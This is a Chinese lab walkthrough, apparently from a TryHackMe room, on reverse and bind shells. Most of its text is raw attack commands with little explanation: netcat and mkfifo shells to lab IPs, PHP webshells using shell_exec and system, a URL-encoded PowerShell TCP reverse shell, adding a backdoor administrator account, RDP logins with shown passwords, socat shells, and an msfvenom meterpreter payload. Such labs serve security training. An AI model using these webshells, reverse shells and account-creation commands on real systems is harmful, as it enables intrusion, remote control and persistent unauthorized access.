What the shell?(Shell简介-下)
本文相关内容:关于反向/绑定shell的练习示例。
实践与案例
提示
实践
操作一





操作二




操作三



操作四

操作五




操作六



操作七






操作八




操作九

最后更新于

本文相关内容:关于反向/绑定shell的练习示例。































最后更新于
nc 10.10.154.186 1234 -e /bin/bash #这行命令在url栏中执行,前面还有http://10.10.234.65/uploads/webshell.php?cmd=#在ssh界面输入(远程为目标机设置监听器):
mkfifo /tmp/f; nc -lvnp 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
#在攻击机终端输入:
nc 10.10.234.65 4444
#执行成功后,在下图的左侧输入命令操作#在攻击机终端输入:
nc -nlvp 4444
#在ssh界面输入(远程操作目标机发出shell连接):
mkfifo /tmp/f; nc 10.10.154.186 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
#执行成功后,在下图的左侧输入命令操作<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
//或者
<?php
if(isset($_GET[‘cmd’])) {
system($_GET[‘cmd’]);
}
?>powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%2710.10.194.117%27%2C1234%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22net user test test123 /add #添加新用户
net localgroup administrators test /add #添加用户到管理员组xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.98.5 /u:test /p:'test123' #添加剪切板功能nc -lvnp 12345#使用攻击机终端 通过RDP登录到目标系统的管理员账户
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.98.5 /u:Administrator /p:'TryH4ckM3!'nc -lvnp 12345 -e "cmd.exe" # -e和"cmd.exe"之间有空格和没有空格 执行结果一样nc 10.10.98.5 12345socat TCP-L:12345 -socat TCP:10.10.44.92:12345 EXEC:powershell.exe,pipessocat TCP-L:12345 EXEC:powershell.exe,pipessocat TCP:10.10.98.5:12345 -msfvenom -p <PAYLOAD> <OPTIONS>msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=10.10.44.92 LPORT=12345